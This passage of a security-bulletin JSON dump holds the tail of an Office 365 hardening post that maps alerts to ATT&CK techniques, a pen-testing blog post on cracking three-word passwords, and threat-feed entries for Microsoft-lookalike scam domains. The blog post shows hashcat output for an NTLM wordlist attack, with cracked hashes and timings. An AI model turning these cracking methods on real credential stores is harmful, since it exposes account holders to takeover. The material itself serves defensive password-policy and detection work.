\n\n[T1550](<https://attack.mitre.org/techniques/T1550/>)\n\n| \n\nAlert on new domain federation in Office 365 \n \nOFFICE 365 [Modified Domain Federation Settings]\n\n| \n\n[T1550](<https://attack.mitre.org/techniques/T1550/>)\n\n| \n\nAlert of modification to domain federations settings in Office 365 \n \nOFFICE 365 [User Added Credentials to Service Principal]\n\n| \n\n[T1098.011](<https://attack.mitre.org/techniques/T1098/001/>)\n\n| \n\nAlert on addition of certificates or passwords added to Service Principals \n \nOFFICE 365 ANALYTICS [Abnormal Logon]\n\n| \n\n[T1078.004](<https://attack.mitre.org/techniques/T1078/004/>)\n\n| \n\nAlert on suspicious login activity based on heuristics \n \nWINDOWS METHODOLOGY [ADFS Dump]\n\n| \n\n[TA0006](<https://attack.mitre.org/tactics/TA0006/>)\n\n[T1552](<https://attack.mitre.org/techniques/T1552/>)\n\n[T1552.004](<https://attack.mitre.org/techniques/T1552/004/>)\n\n[T1199](<https://attack.mitre.org/techniques/T1199/>)\n\n| \n\nAlert on activity access requests for the AD FS Distributed Key Manager (DKM) container in Active Directory\n", "modified": "2021-01-19T14:00:00", "published": "2021-01-19T14:00:00", "id": "FIREEYE:DEC85AA9BFCE90CB0FA6F339E305FF5B", "href": "https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html", "type": "fireeye", "title": "Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452", "cvss": {"score": 0.0, "vector": "NONE"}}], "pentestpartners": [{"lastseen": "2021-01-19T12:26:33", "bulletinFamily": "blog", "cvelist": [], "description": "### \n\n### Introduction\n\nThe National Cyber Security Centre (NCSC) have advocated the use of three random words for several years to create strong passwords, and that advice has been repeated recently by the National Crime Agency, and multiple police forces in the UK\u2026. but just how strong are these passwords?\n\nBefore we go there, we should acknowledge that most people have one or two weak passwords that they use on multiple sites &amp; systems. One of those is breached, which results in other accounts being compromised through password stuffing. The NCSC advice is good in comparison to that low bar.\n\nBut we were surprised to see that password managers weren\u2019t in the top 5 actions from NCSC. Here\u2019s why they are so important:\n\n### The numbers\n\nThe English language has a huge number of words \u2013 the online [Oxford English Dictionary](<https://www.oed.com/>) has over 600,000 words however only around 171,000 are in current use. If we chose three random words from the words in current use, we\u2019d have a search space of around 5,000 trillion. Yes, that is a lot, but modern GPUs are fast\u2026 really fast. One of our dedicated password crackers can search about 20 billion passwords every second from a disk-based wordlist (hashcat benchmark is about 185 GH/s). At that speed we could crack a three-word password in around 4 days.\n\nThe problem with this advice is that no one knows 171,000 words. Estimates for the number of words that a university-educated person knows is around 40,000 words, so we created a dictionary with the 66,000 most commonly-used words hoping that would cover most of the words that most people would tend to choose, and this reduced our search space by about 17 times allowing us to search all likely three word passwords in only 6 hours! Hmmm, it\u2019s not looking good for ThreeRandomWords\u2026\n\n### Official recommendation\n\n\n\n##### **Source: **<https://www.ncsc.gov.uk/cyberaware/home>\n\n \n\nWe took an interest in the example password of \u201cRedPantsTree\u201d given on the NCSC site. All of these words are easily in the top 30,000 most common words, but we decided to attack it with our big dictionary to simulate a more realistic attack time. We also added in the NTLM hash for \u201cSuperfluousExonerateSerendipity\u201d to show that even choosing less commonly thought of words is still an issue.\n\nThe NCSC password was cracked in about 4 hours, with the whole search space, including our uncommon three-word password, completed in around 6.5 hours.\n \n \n MMMSession..........: papa_WWW\n Status...........: Running\n Hash.Name........: NTLM\n Hash.Target......: /home/papa/threerandomwords.ntlm\n Time.Started.....: Wed Jan\u00a0 6 12:28:06 2021 (4 hours, 8 mins)\n Time.Estimated...: Wed Jan\u00a0 6 19:15:33 2021 (2 hours, 38 mins)\n Guess.Base.......: File (/opt/dictionaries/papa/english-66k-upperupper.txt), Left Side\n Guess.Mod........: File (/opt/dictionaries/papa/english-66k-upper.txt), Right Side\n Recovered........: 0/3 (0.00%) Digests\n Progress.........: 272600599101440/427621521183219 (63.75%)\n Rejected.........: 0/272600599101440 (0.00%)\n Restore.Point....: 3616604160/5675964921 (63.72%)\n Candidates.#1....: OwainLawyersAugury -> OwenSuckedAvertir\n Candidates.#2....: OviedoClaudianLatex -> OwainLawyerLeahy\n Candidates.#3....: OverysselSightedPreviously -> OviedoClaudiaProclamations\n Candidates.#4....: OverworkInterrogationsWiry -> OverysselSightWo\n \n **de947fd0bbd9f4f5c65a5d802cae1597:RedPantsTree**\n **.**\n **.**\n **f654100d842b2f6f68efeddcec2973bb:SuperfluousExonerateSerendipity**\n\n### CorrectHorseBatteryStaple\n\n\n\n##### **Source:** <https://xkcd.com/936/>\n\n \n\nWhat about using four words\u2026 does that work? Well, it does make things more difficult, but again it depends on how commonly used the words are, and how big the attackers dictionary is. The first three words of the xkcd example are really common and appear in the top 5,000 of every frequency list that I\u2019ve seen. Staple is less common and is usually in position 18,000 to 20,000. So to actually crack that specific four word password encoded as an NTLM hash, would take about 5 months on one of our password cracking servers.\n\n### Cracking characteristics\n\nAlthough it only takes about 6 hours to run through all of the three-word passwords, that is exclusively for words with an uppercase first character. If we want to crack all lowercase, that would be an extra 6 hours, add a \u201c1\u201d or a \u201c!\u201d at the end, and that\u2019s an extra 6 hours. So, if an attacker compromised your Windows domain and everyone was using NCSC recommendations would it take forever to crack? Well, counterintuitively, it takes the same amount of time to crack 1,000 passwords as it takes to crack just 1, so if your NTLM hashes are compromised, within a couple of days, an attacker would have compromised most of your passwords. With the NCSC advice to also not expire passwords, cracking even a four-word password in 5 months could still be an issue.\n\n### What to do?\n\nAt Pen Test Partners, our IT team install a password manager by default on all managed devices. A password manager creates randomly-generated passwords that are super strong, and encrypts them for secure storage. I have no idea what 99% of my passwords are \u2013 they are all stored in my password manager, and it really doesn\u2019t matter that I don\u2019t know what they are. The password manager logs me into any system I need, quicker than I could type amonie and Password1!\n\nFor more sensitive systems, and anything that\u2019s internet-facing, we also advise the use of Two-Factor Authentication (2FA). That means that even if your password is compromised, an attacker still can\u2019t log in without your secondary authentication.\n\nIf you manage a Windows domain, we also recommend doing regular password audits. Our [password auditing tool, Papa](<https://www.pentestpartners.com/penetration-testing-services/papa/>), now checks for three random word passwords in various formats and we spend several days of cracking time now, just on the three-word passwords.\n\nThe post [Security Blog](<https://www.pentestpartners.com/security-blog/>) first appeared on [Pen Test Partners](<https://www.pentestpartners.com>).", "modified": "2021-01-19T06:00:04", "published": "2021-01-19T06:00:04", "id": "PENTESTPARTNERS:943CE476724D136E53A4D3E7882695D1", "href": "https://www.pentestpartners.com/security-blog/three-word-passwords/", "type": "pentestpartners", "title": "Three Word Passwords", "cvss": {"score": 0.0, "vector": "NONE"}}], "rst": [{"lastseen": "2021-01-18T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **microsoft-last-windows-warning[.]com** in [RST Threat Feed](https://rstcloud.net/profeed) with score **10**.\n First seen: 2020-12-22T03:00:00, Last seen: 2021-01-18T03:00:00.\n IOC tags: **generic**.\nIOC could be a **False Positive** (Domain not resolved. Whois records not found).\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2020-12-22T00:00:00", "id": "RST:DAC7B8B5-10A2-3E68-9B49-2F8C55EE39D5", "href": "", "published": "2021-01-19T00:00:00", "title": "RST Threat feed. IOC: microsoft-last-windows-warning.com", "type": "rst", "cvss": {}}, {"lastseen": "2021-01-18T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **microsoft[.]com-en-us-help-4015401-windows-fixissue-supportpage.trust109.online** in [RST Threat Feed](https://rstcloud.net/profeed) with score **10**.\n First seen: 2020-12-22T03:00:00, Last seen: 2021-01-18T03:00:00.\n IOC tags: **generic**.\nIOC could be a **False Positive** (Domain not resolved. Whois records not found).\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2020-12-22T00:00:00", "id": "RST:5D205F23-233F-338E-AE7D-037704BD4648", "href": "", "published": "2021-01-19T00:00:00", "title": "RST Threat feed. IOC: microsoft.com-en-us-help-4015401-windows-fixissue-supportpage.trust109.online", "type": "rst", "cvss": {}}, {"lastseen": "2021-01-18T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **microsoft[.]com-windows-clean-pc.live** in [RST Threat Feed](https://rstcloud.net/profeed) with score **10**.\n First seen: 2020-12-22T03:00:00, Last seen: 2021-01-18T03:00:00.\n IOC tags: **generic**.\nIOC could be a **False Positive** (Domain not resolved. Whois records not found).\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2020-12-22T00:00:00", "id": "RST:AEDF7EFE-5198-3DEA-B400-5AE88818C859", "href": "", "published": "2021-01-19T00:00:00", "title": "RST Threat feed. IOC: microsoft.com-windows-clean-pc.live", "type": "rst", "cvss": {}}, {"lastseen": "2021-01-18T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **microsoft[.]com-windows-cleaner-pc.live** in [RST Threat Feed](https://rstcloud.net/profeed) with score **10**.\n First seen: 2020-12-22T03:00:00, Last seen: 2021-01-18T03:00:00.\n IOC tags: **generic**.\nIOC could be a **False Positive** (Domain not resolved. Whois records not found).\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2020-12-22T00:00:00", "id": "RST:34458EA3-E3B2-3188-B57C-2C2D53539489", "href": "", "published": "2021-01-19T00:00:00", "title": "RST Threat feed. IOC: microsoft.com-windows-cleaner-pc.live", "type": "rst", "cvss": {}}, {"lastseen": "2021-01-18T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **microsoft[.]com-windows-cleaning-pc.live** in [RST Threat Feed](https://rstcloud.net/profeed) with score **24**.\n First seen: 2020-12-22T03:00:00, Last seen: 2021-01-18T03:00:00.\n IOC tags: **generic**.\nDomain has DNS A records: 146[.]112.61.112\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2020-12-22T00:00:00", "id": "RST:A53E327E-5555-3C2B-9583-69C6DE8A58A6", "href": "", "published": "2021-01-19T00:00:00", "title": "RST Threat feed. IOC: microsoft.com-windows-cleaning-pc.live", "type": "rst", "cvss": {}}, {"lastseen": "2021-01-18T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **microsoft[.]com-windows-cleaning-systems.live** in [RST Threat Feed](https://rstcloud.net/profeed) with score **10**.\n First seen: 2020-12-22T03:00:00, Last seen: 2021-01-18T03:00:00.\n IOC tags: **generic**.\nIOC could be a **False Positive** (Domain not resolved. Whois records not found).\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2020-12-22T00:00:00", "id": "RST:8B77008B-9FF6-336F-A3E1-6D2D626548D1", "href": "", "published": "2021-01-19T00:00:00", "title": "RST Threat feed. IOC: microsoft.com-windows-cleaning-systems.live", "type": "rst", "cvss": {}}, {"lastseen": "2021-01-18T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **microsoft[.]com-windows-fast-systems.live** in [RST Threat Feed](https://rstcloud.net/profeed) with score **10**.\n First seen: 2020-12-22T03:00:00, Last seen: 2021-01-18T03:00:00.\n IOC tags: **generic**.\nIOC could be a **False Positive** (Domain not resolved. Whois records not found).\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2020-12-22T00:00:00", "id": "RST:D0187FCD-B306-3833-AB1E-00F3E638AC69", "href": "", "published": "2021-01-19T00:00:00", "title": "RST Threat feed. IOC: microsoft.com-windows-fast-systems.live", "type": "rst", "cvss": {}}, {"lastseen": "2021-01-18T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **microsoft[.]com-windows-fasting-systems.live** in [RST Threat Feed](https://rstcloud.net/profeed) with score **24**.\n First seen: 2020-12-22T03:00:00, Last seen: 2021-01-18T03:00:00.\n IOC tags: **generic**.\nDomain has DNS A records: 146[.]112.61.108\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2020-12-22T00:00:00", "id": "RST:D8989F26-0043-3564-B198-A791A90B6FA1", "href": "", "published": "2021-01-19T00:00:00", "title": "RST Threat feed. IOC: microsoft.com-windows-fasting-systems.live", "type": "rst", "cvss": {}}, {"lastseen": "2021-01-18T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **microsoft[.]com-windows-fixing-systems.live** in [RST Threat Feed](https://rstcloud.net/profeed) with score **10**.\n First seen: 2020-12-22T03:00:00, Last seen: 2021-01-18T03:00:00.\n IOC tags: **generic**.\nIOC could be a **False Positive** (Domain not resolved. Whois records not found).\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2020-12-22T00:00:00", "id": "RST:5509A46E-E3A5-3A6B-9B23-C6865BA0EA73", "href": "", "published": "2021-01-19T00:00:00", "title": "RST Threat feed. IOC: microsoft.com-windows-fixing-systems.live", "type": "rst", "cvss": {}}, {"lastseen": "2021-01-18T00:00:00", "bulletinFamily": "ioc", "cvelist": [], "description": "Found **microsoft[.]com-windows-repair-systems.live** in [RST Threat Feed](https://rstcloud.net/profeed) with score **10**.\n First seen: 2020-12-22T03:00:00, Last seen: 2021-01-18T03:00:00.\n IOC tags: **generic**.\nIOC could be a **False Positive** (Domain not resolved. Whois records not found).\n[https://rstcloud.net/](https://rstcloud.net/)", "edition": 1, "modified": "2020-12-22T00:00:00", "id": "RST:A3782B8A-C59E-3B68-9BA5-AC722E5F3ACB", "href": "", "published": "2021-01-19T00:00:00", "title": "RST Threat feed. IOC: microsoft.com-windows-repair-systems.live", "type": "rst", "cvss": {}}]}